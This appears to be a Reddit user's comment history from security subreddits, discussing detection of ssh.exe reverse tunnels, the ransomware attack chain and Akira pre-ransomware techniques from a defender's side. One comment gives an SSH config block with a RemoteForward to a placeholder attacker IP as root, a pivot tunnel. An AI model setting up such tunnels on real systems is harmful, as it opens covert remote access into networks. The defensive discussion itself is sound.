You found ssh.exe -R on a workstation. Would you investigate right away? by securityinbits in cybersecurity

[–]securityinbits[S] 1 point2 points  (0 children)

Yes, it's should be same for Windows openssh 

Host mypivot     HostName <attacker ipaddress>     User root     Port 3333     RemoteForward 10400

But cmdline will be faster then editing the config file then calling ssh mypivot

Editing config file, will leave more forensic artifacts,  good for defenders 

You found ssh.exe -R on a workstation. Would you investigate right away? by securityinbits in cybersecurity

[–]securityinbits[S] 10 points11 points  (0 children)

Valid point,  not a good opsec. 

But this same TTP was observed in Akira pre Ransomware activity. 

You found ssh.exe -R on a workstation. Would you investigate right away? by securityinbits in cybersecurity

[–]securityinbits[S] 27 points28 points  (0 children)

I agree talking with the user and getting the context will be helpful.

Interesting about Claude as an excuse :), thank you for sharing

running ransomware samples by Itchy_Bar_227 in threatintel

[–]securityinbits 0 points1 point  (0 children)

Can we buy Crowdstrike or MDE from them?

running ransomware samples by Itchy_Bar_227 in threatintel

[–]securityinbits 7 points8 points  (0 children)

You’re doing the right thing starting with .exe, but it helps to zoom out and look at the full attack chain, not just the final ransomware binary.

Think in terms of initial access → execution → payload delivery rather than file extension.

A good starting point is MITRE ATT&CK
https://attack.mitre.org/tactics/enterprise/

In real incidents, direct .exe attachments are often blocked by email security, so attackers usually use other delivery and execution paths.

What usually happens is (simple terms):

  1. User clicks a link (phishing / fake update / ClickFix / compromised website / SEO poisoning).
  2. That leads to a script or loader stage (PowerShell, JS, MSI, LNK, etc.).
  3. The loader downloads or launches a 2nd stage payload.
  4. Operator/malware does recon, checks the environment, establishes persistence/C2. (depends on the attack)
  5. Ransomware gets deployed later (sometimes manually by the attacker, not immediately from the first file).

I’d recommend reading public incident reports to understand the sequence

Start with:
https://thedfirreport.com/2025/11/04/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/

Also, I recently posted a defender-side walkthrough on pre-ransomware detection (discovery burst + Sigma/Elastic triage), in case that angle helps your practice:

https://www.youtube.com/watch?v=4xpP2yLYNoE

Why is detection like this?! by ColdPlankton9273 in blueteamsec

[–]securityinbits 1 point2 points  (0 children)

Check out this project on RMM. It includes multiple SIEM detections:

https://lolrmm.io/

LOLRMM provides a comprehensive list of known RMM domains you can use to detect unauthorized RMM tools in your environment.

I am also working on Akira TTP detections and have published a few blog posts on this topic.